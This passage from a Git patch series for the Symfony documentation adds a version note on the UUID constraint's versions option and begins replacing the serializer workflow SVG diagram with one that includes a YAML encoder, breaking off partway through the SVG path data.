+**type**: ``int[]|int`` **default**: ``[1,2,3,4,5,6,7,8]``
 
 This option can be used to only allow specific `UUID versions`_ (by default, all
 of them are allowed). Valid versions are 1 - 8. Instead of using numeric values,
@@ -133,6 +133,11 @@ you can also use the following PHP constants to refer to each UUID version:
 
     UUID versions 7 and 8 were introduced in Symfony 6.2.
 
+.. versionadded:: 6.4
+
+    Using a single integer instead of an integer array for this option
+    was introduced in Symfony 6.4.
+
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`UUID versions`: https://en.wikipedia.org/wiki/Universally_unique_identifier#Versions

From a0ecf1810c7d8aa566ade48f5b341499d219e38d Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Wed, 4 Jan 2023 10:23:30 +0100
Subject: [PATCH 3425/5766] Add YAML encoder to serializer diagram

---
 .../serializer/serializer_workflow.svg        | 284 +++++++++++++++++-
 .../serializer/serializer_workflow.dia        | Bin 1770 -> 1957 bytes
 2 files changed, 283 insertions(+), 1 deletion(-)

diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/components/serializer/serializer_workflow.svg
index f3906506878..b6e9c254778 100644
--- a/_images/components/serializer/serializer_workflow.svg
+++ b/_images/components/serializer/serializer_workflow.svg
@@ -1 +1,283 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" viewBox="0 0 482 402"><defs><symbol overflow="visible" id="a"><path d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="b"><path d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="c"><path d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="d"><path d="M3.656-3.547l.422 1.953h.11l.296-1.953L6-10h1.453L5.078-1.016A57.87 57.87 0 0 1 4.516 1a11.53 11.53 0 0 1-.61 1.625c-.219.457-.465.816-.734 1.078-.274.258-.594.39-.969.39s-.703-.058-.984-.171l.234-1.36c.188.063.375.07.563.032.187-.031.363-.14.53-.328.165-.188.317-.47.454-.844.145-.367.27-.84.375-1.422L.141-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="G"><path d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="H"><path d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="I"><path d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="J"><path d="M1.422-10h1.437V0H1.422zm-.266-3.047c0-.312.086-.566.266-.765a.926.926 0 0 1 .719-.313.96.96 0 0 1 .718.297c.196.187.297.45.297.781 0 .324-.101.578-.297.766-.187.18-.43.265-.718.265a.971.971 0 0 1-.72-.28c-.179-.188-.265-.438-.265-.75zm0 0"/></symbol><symbol overflow="visible" id="K"><path d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="L"><path d="M.64-1.297l3.72-6.547.702-.86H.641V-10h5.843v1.297l-3.75 6.61-.671.796h4.421V0H.641zm0 0"/></symbol><symbol overflow="visible" id="e"><path d="M1.734-18.906h8.391v1.875H3.75v6.656h5.938V-8.5H3.75V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="f"><path d="M1-6.75c0-2.426.414-4.21 1.25-5.36.844-1.144 2.035-1.718 3.578-1.718 1.656 0 2.875.59 3.656 1.765.79 1.168 1.188 2.938 1.188 5.313 0 2.45-.43 4.242-1.281 5.375C8.547-.238 7.359.328 5.828.328c-1.656 0-2.875-.582-3.656-1.75C1.39-2.598 1-4.375 1-6.75zm2.031 0c0 .793.047 1.512.14 2.156a6.22 6.22 0 0 0 .485 1.672c.227.469.52.836.875 1.094.364.262.797.39 1.297.39.938 0 1.64-.414 2.11-1.25.468-.832.703-2.187.703-4.062 0-.77-.055-1.484-.157-2.14-.093-.657-.257-1.22-.484-1.688-.219-.469-.512-.832-.875-1.094-.355-.258-.79-.39-1.297-.39-.918 0-1.617.421-2.094 1.265-.468.844-.703 2.195-.703 4.047zm0 0"/></symbol><symbol overflow="visible" id="g"><path d="M1.594-13.5h1.375l.36 1.438h.077c.25-.532.578-.942.985-1.235.406-.3.894-.453 1.468-.453.414 0 .883.086 1.407.25l-.375 1.969c-.47-.156-.887-.235-1.25-.235-.575 0-1.043.168-1.407.5-.355.336-.59.778-.703 1.329V0H1.594zm0 0"/></symbol><symbol overflow="visible" id="h"><path d="M7.906 0v-8.016c0-.718-.023-1.332-.062-1.843-.043-.52-.137-.942-.282-1.266-.148-.32-.343-.555-.593-.703-.25-.156-.586-.235-1-.235-.617 0-1.137.243-1.563.72a3.942 3.942 0 0 0-.875 1.624V0H1.594v-13.5h1.375l.36 1.438h.077c.375-.532.82-.958 1.344-1.282.52-.32 1.188-.484 2-.484.688 0 1.25.152 1.688.453.437.293.785.82 1.046 1.578a3.58 3.58 0 0 1 1.375-1.484 3.8 3.8 0 0 1 2-.547c.594 0 1.098.078 1.516.234.426.156.77.43 1.031.813.258.386.453.902.578 1.547.125.636.188 1.437.188 2.406V0h-1.938v-8.594c0-1.164-.117-2.035-.343-2.61-.23-.57-.746-.858-1.547-.858-.688 0-1.235.214-1.64.64-.407.418-.688.985-.845 1.703V0zm0 0"/></symbol><symbol overflow="visible" id="i"><path d="M1.453-12.688c.52-.32 1.156-.57 1.906-.75a9.687 9.687 0 0 1 2.36-.28c.758 0 1.367.116 1.828.343.457.219.816.527 1.078.922.258.387.43.828.516 1.328.082.492.125 1.008.125 1.547 0 1.074-.028 2.125-.079 3.156a69.316 69.316 0 0 0-.062 2.906c0 .688.02 1.325.063 1.907.05.586.14 1.136.265 1.656H7.97L7.5-1.531h-.11c-.261.46-.656.86-1.187 1.203C5.68.016 4.984.188 4.11.188c-.98 0-1.78-.336-2.406-1.016-.617-.676-.922-1.61-.922-2.797 0-.77.13-1.414.39-1.938.259-.519.63-.94 1.11-1.265.477-.32 1.047-.55 1.703-.688.657-.132 1.391-.203 2.204-.203h.53c.188 0 .38.012.579.032.05-.563.078-1.063.078-1.5 0-1.02-.156-1.739-.469-2.157-.304-.414-.86-.625-1.672-.625-.5 0-1.046.078-1.64.235-.594.156-1.09.351-1.485.578zm5.86 6.532c-.18-.02-.36-.032-.547-.032-.18-.007-.356-.015-.532-.015-.43 0-.851.039-1.265.11-.418.062-.79.187-1.11.374-.324.18-.578.422-.765.735-.188.304-.281.687-.281 1.156 0 .719.171 1.277.515 1.672.352.398.813.594 1.375.594.75 0 1.332-.176 1.75-.532.414-.363.703-.765.86-1.203zm0 0"/></symbol><symbol overflow="visible" id="j"><path d="M.25-13.5h1.64v-2.672l1.938-.625v3.297H6.75v1.75H3.828v8.047c0 .793.094 1.367.281 1.719.196.355.508.53.938.53.363 0 .676-.038.937-.124.258-.082.54-.188.844-.313l.375 1.547a6.27 6.27 0 0 1-1.312.469 6.308 6.308 0 0 1-1.485.172C3.5.297 2.852.004 2.47-.578 2.082-1.16 1.89-2.11 1.89-3.422v-8.328H.25zm0 0"/></symbol><symbol overflow="visible" id="l"><path d="M4.938 5.938c-.68-.868-1.25-1.82-1.72-2.86A21.13 21.13 0 0 1 2.095-.094a24.082 24.082 0 0 1-.61-3.297 28.174 28.174 0 0 1-.187-3.171c0-.989.062-2.032.187-3.125.125-1.102.329-2.208.61-3.313.289-1.102.676-2.188 1.156-3.25A15.565 15.565 0 0 1 5-19.219l1.203.719a15.878 15.878 0 0 0-1.422 2.89 22.89 22.89 0 0 0-.906 3.079 25.88 25.88 0 0 0-.5 3.078 31.401 31.401 0 0 0-.14 2.89c0 .868.05 1.82.156 2.86.113 1.031.289 2.07.53 3.11.25 1.038.563 2.054.938 3.046.375.988.82 1.879 1.344 2.672zm0 0"/></symbol><symbol overflow="visible" id="m"><path d="M2.516-18.906H4.53v14.672c0 1.468-.242 2.59-.718 3.359-.47.762-1.297 1.14-2.485 1.14C1.035.266.688.228.281.157-.125.082-.453-.02-.703-.156l.437-1.766c.18.117.375.2.594.25.227.055.461.078.703.078.32 0 .582-.07.782-.218.195-.145.347-.348.453-.61.113-.258.18-.57.203-.937.031-.375.047-.79.047-1.25zm0 0"/></symbol><symbol overflow="visible" id="n"><path d="M1.594-2.516c.343.243.82.465 1.437.672.625.211 1.332.313 2.125.313 1.008 0 1.828-.25 2.453-.75.633-.5.954-1.274.954-2.328 0-.707-.184-1.32-.547-1.844a6.82 6.82 0 0 0-1.344-1.438 22.34 22.34 0 0 0-1.75-1.296 14.354 14.354 0 0 1-1.734-1.407 6.939 6.939 0 0 1-1.36-1.765c-.355-.664-.531-1.47-.531-2.407 0-1.507.453-2.629 1.36-3.359.905-.727 2.085-1.094 3.546-1.094.906 0 1.707.086 2.406.25.707.157 1.274.36 1.704.61l-.641 1.78c-.324-.194-.79-.374-1.39-.53-.606-.164-1.305-.25-2.095-.25-.98 0-1.703.242-2.171.718-.461.47-.688 1.07-.688 1.797 0 .625.176 1.184.531 1.672.364.48.813.938 1.344 1.375.54.43 1.125.867 1.75 1.313.625.437 1.203.93 1.734 1.468.54.543.989 1.157 1.344 1.844.364.68.547 1.484.547 2.422 0 1.586-.469 2.828-1.406 3.734C8.242-.117 6.926.328 5.219.328 4.133.328 3.242.227 2.547.031 1.859-.164 1.305-.39.89-.64zm0 0"/></symbol><symbol overflow="visible" id="o"><path d="M1.156-9.453c0-3.195.508-5.625 1.532-7.281 1.03-1.657 2.597-2.485 4.703-2.485 1.132 0 2.097.23 2.89.688.79.46 1.43 1.11 1.922 1.953.5.844.863 1.871 1.094 3.078.238 1.21.36 2.559.36 4.047 0 3.21-.516 5.64-1.548 7.297C11.08-.5 9.504.328 7.391.328c-1.118 0-2.07-.23-2.86-.687-.793-.457-1.437-1.11-1.937-1.954-.5-.851-.867-1.878-1.094-3.078-.23-1.207-.344-2.562-.344-4.062zm2.14 0c0 1.062.071 2.074.22 3.031.156.95.394 1.79.718 2.516.32.719.743 1.297 1.266 1.734.531.43 1.16.64 1.89.64 1.352 0 2.38-.644 3.079-1.937.707-1.3 1.062-3.297 1.062-5.984 0-1.04-.078-2.035-.234-2.985-.156-.957-.399-1.8-.719-2.53-.324-.727-.746-1.305-1.265-1.735-.524-.438-1.165-.656-1.922-.656-1.325 0-2.34.652-3.047 1.953-.7 1.293-1.047 3.277-1.047 5.953zm0 0"/></symbol><symbol overflow="visible" id="p"><path d="M4.61-11.984l-1.157-2.97h-.078l.297 2.97V0H1.734v-19.203h1.204l7 12.265 1.109 2.829h.11l-.298-2.829v-11.968h1.938V.297h-1.235zm0 0"/></symbol><symbol overflow="visible" id="q"><path d="M.969-1.156c0-.457.129-.817.39-1.078.258-.27.598-.407 1.016-.407.469 0 .848.188 1.14.563.301.375.454.969.454 1.781 0 .594-.078 1.129-.235 1.61a4.464 4.464 0 0 1-.593 1.25c-.243.363-.508.66-.797.89-.281.238-.559.41-.828.516l-.672-.922a3.047 3.047 0 0 0 1.172-1.188c.132-.25.238-.515.312-.796.07-.282.11-.555.11-.813-.368.102-.704.031-1.016-.219-.305-.25-.453-.644-.453-1.187zm0 0"/></symbol><symbol overflow="visible" id="r"><path d="M5.484-9.61L.938-18.905h2.437L6.313-12.5l.546 1.594.532-1.594 3.109-6.406h2.25l-4.703 9.11L12.953 0h-2.375L7.313-6.781l-.61-1.672-.578 1.672L2.781 0H.516zm0 0"/></symbol><symbol overflow="visible" id="s"><path d="M13.453-12.422l.235-2.86h-.11l-.86 2.673-3.812 8.203h-.672l-4-8.203-.828-2.672h-.11l.376 2.86V0H1.734v-18.906h1.688L7.984-9.61l.688 2.218h.047l.656-2.25 4.313-9.265h1.78V0h-2.015zm0 0"/></symbol><symbol overflow="visible" id="t"><path d="M10.828 0H1.734v-18.906H3.75V-1.86h7.078zm0 0"/></symbol><symbol overflow="visible" id="u"><path d="M11.61-.734c-.45.386-1.016.656-1.704.812-.68.164-1.398.25-2.156.25a6.61 6.61 0 0 1-2.656-.531c-.805-.363-1.496-.938-2.078-1.719C2.43-2.71 1.973-3.727 1.64-4.969c-.325-1.238-.485-2.734-.485-4.484 0-1.8.18-3.32.547-4.563.375-1.238.867-2.242 1.484-3.015.614-.782 1.317-1.336 2.11-1.672a6.237 6.237 0 0 1 2.484-.516c.864 0 1.578.063 2.14.188.563.125 1.052.277 1.47.453l-.485 1.844a4.668 4.668 0 0 0-1.265-.453 7.46 7.46 0 0 0-1.672-.172 3.96 3.96 0 0 0-1.797.422c-.555.273-1.047.718-1.484 1.343-.43.625-.766 1.446-1.016 2.453-.25 1-.375 2.23-.375 3.688 0 2.625.445 4.605 1.344 5.937C5.547-2.19 6.742-1.53 8.234-1.53c.614 0 1.16-.082 1.641-.25a5.257 5.257 0 0 0 1.25-.625zm0 0"/></symbol><symbol overflow="visible" id="v"><path d="M5.89-5.969l.485 2.89h.047l.547-2.937 3.5-12.89h2.094L6.827.297H5.75L-.047-18.906h2.235zm0 0"/></symbol><symbol overflow="visible" id="w"><path d="M1.297 5.125c.52-.793.969-1.684 1.344-2.672.382-.992.695-2.008.937-3.047.238-1.039.41-2.078.516-3.11.113-1.038.172-1.991.172-2.858 0-.915-.055-1.88-.157-2.891a25.039 25.039 0 0 0-.484-3.078 20.818 20.818 0 0 0-.906-3.078A17.562 17.562 0 0 0 1.297-18.5l1.219-.719A16.358 16.358 0 0 1 4.25-16.25c.477 1.063.86 2.148 1.14 3.25.29 1.105.5 2.21.626 3.313a27.58 27.58 0 0 1 .187 3.124c0 1.012-.062 2.07-.187 3.172A23.004 23.004 0 0 1 5.39-.094a19.529 19.529 0 0 1-1.125 3.172 14.483 14.483 0 0 1-1.704 2.86zm0 0"/></symbol><symbol overflow="visible" id="C"><path d="M1.594-18.906H3.53v6.437h.094c.727-.906 1.707-1.36 2.938-1.36 1.382 0 2.421.556 3.109 1.657.695 1.094 1.047 2.828 1.047 5.203 0 2.43-.465 4.242-1.39 5.438C8.398-.344 7.093.25 5.405.25a8.646 8.646 0 0 1-2.281-.281c-.68-.196-1.188-.422-1.531-.672zM3.53-1.97c.258.149.57.262.938.344.363.074.754.11 1.172.11.937 0 1.675-.442 2.218-1.329.551-.894.829-2.27.829-4.125 0-.77-.055-1.46-.157-2.078-.094-.625-.246-1.16-.453-1.61-.2-.456-.465-.804-.797-1.046-.336-.238-.734-.36-1.203-.36-.648 0-1.183.196-1.61.579-.429.386-.741.914-.937 1.578zm0 0"/></symbol><symbol overflow="visible" id="D"><path d="M1.938-13.5H3.89V.734c0 1.852-.297 3.188-.891 4-.594.82-1.559 1.133-2.89.938v-1.75c.394 0 .71-.086.953-.25.25-.168.44-.418.578-.75.132-.324.218-.735.25-1.235.03-.5.046-1.078.046-1.734zm-.375-4.11c0-.425.117-.773.359-1.046.25-.27.57-.407.969-.407.394 0 .722.133.984.391.258.262.39.617.39 1.063 0 .437-.132.777-.39 1.015-.262.242-.59.36-.984.36-.399 0-.72-.125-.97-.375-.241-.25-.359-.582-.359-1zm0 0"/></symbol><symbol overflow="visible" id="E"><path d="M9.672-.922c-.438.399-.992.703-1.656.922a6.735 6.735 0 0 1-2.11.328c-.843 0-1.578-.168-2.203-.5a4.194 4.194 0 0 1-1.531-1.422c-.406-.625-.703-1.367-.89-2.234C1.093-4.691 1-5.664 1-6.75c0-2.3.422-4.055 1.266-5.266.843-1.207 2.039-1.812 3.593-1.812.5 0 .993.062 1.485.187.5.125.945.383 1.343.766.395.375.711.906.954 1.594.25.68.375 1.57.375 2.672 0 .304-.016.632-.047.984-.024.355-.055.719-.094 1.094H3.031c0 .773.063 1.476.188 2.11.125.624.32 1.163.594 1.609.269.437.613.777 1.03 1.015.427.242.954.36 1.579.36.488 0 .973-.086 1.453-.266.477-.176.844-.39 1.094-.64zM8.156-8.156c.031-1.344-.164-2.328-.578-2.953-.406-.633-.969-.954-1.687-.954-.836 0-1.496.32-1.985.954-.48.625-.765 1.609-.86 2.953zm0 0"/></symbol><symbol overflow="visible" id="F"><path d="M9.047-.672c-.45.344-.965.594-1.547.75a6.504 6.504 0 0 1-1.797.25c-.867 0-1.594-.168-2.187-.5a3.927 3.927 0 0 1-1.454-1.422c-.367-.625-.636-1.375-.812-2.25C1.082-4.719 1-5.688 1-6.75c0-2.3.406-4.055 1.219-5.266.82-1.207 2-1.812 3.531-1.812.695 0 1.297.062 1.797.187.508.125.945.29 1.312.485l-.546 1.703a4.683 4.683 0 0 0-2.344-.61c-.969 0-1.703.43-2.203 1.282-.493.855-.735 2.199-.735 4.031 0 .742.051 1.434.156 2.078.102.649.282 1.211.532 1.688.258.48.586.859.984 1.14.395.274.89.407 1.484.407.47 0 .899-.079 1.297-.235a3.931 3.931 0 0 0 1-.562zm0 0"/></symbol><symbol overflow="visible" id="x"><path d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="y"><path d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="z"><path d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="A"><path d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="B"><path d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="M"><path d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="N"><path d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="O"><path d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="P"><path d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="Q"><path d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="R"><path d="M.578-1.172l3.344-5.89.625-.766H.578V-9h5.25v1.172l-3.36 5.937-.609.72h3.97V0H.578zm0 0"/></symbol></defs><path fill="#fff" d="M0 0h482v402H0z"/><path d="M1 1h480v400H1zm0 0" fill-rule="evenodd" fill="#fff" stroke-width="2" stroke="#fff" stroke-miterlimit="10"/><path d="M167 170.809h148v60H167zm0 0M167 176.809v-6c-3.313 0-6 2.687-6 6zm0 0M315 176.809h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M161 176.809h160v48H161zm0 0M167 224.809h-6c0 3.316 2.688 6 6 6zm0 0M315 224.809v6c3.313 0 6-2.684 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M167 170.809h148M167 230.809h148M167 170.809c-3.312 0-6 2.687-6 6M321 176.809c0-3.313-2.687-6-6-6M161 176.809v48M321 176.809v48M161 224.809a6 6 0 0 0 6 6M315 230.809a6 6 0 0 0 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#a" x="223.031" y="208.762"/><use xlink:href="#b" x="232.484" y="208.762"/><use xlink:href="#b" x="237.973" y="208.762"/><use xlink:href="#c" x="243.461" y="208.762"/><use xlink:href="#d" x="251.469" y="208.762"/><path d="M32 308.957h418v63.707H32zm0 0M32 314.957v-6c-3.313 0-6 2.688-6 6zm0 0M450 314.957h6c0-3.312-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M26 314.957h430v51.707H26zm0 0M32 366.664h-6c0 3.313 2.688 6 6 6zm0 0M450 366.664v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M32 308.957h418M32 372.664h418M32 308.957c-3.313 0-6 2.688-6 6M456 314.957c0-3.312-2.687-6-6-6M26 314.957v51.707M456 314.957v51.707M26 366.664c0 3.313 2.687 6 6 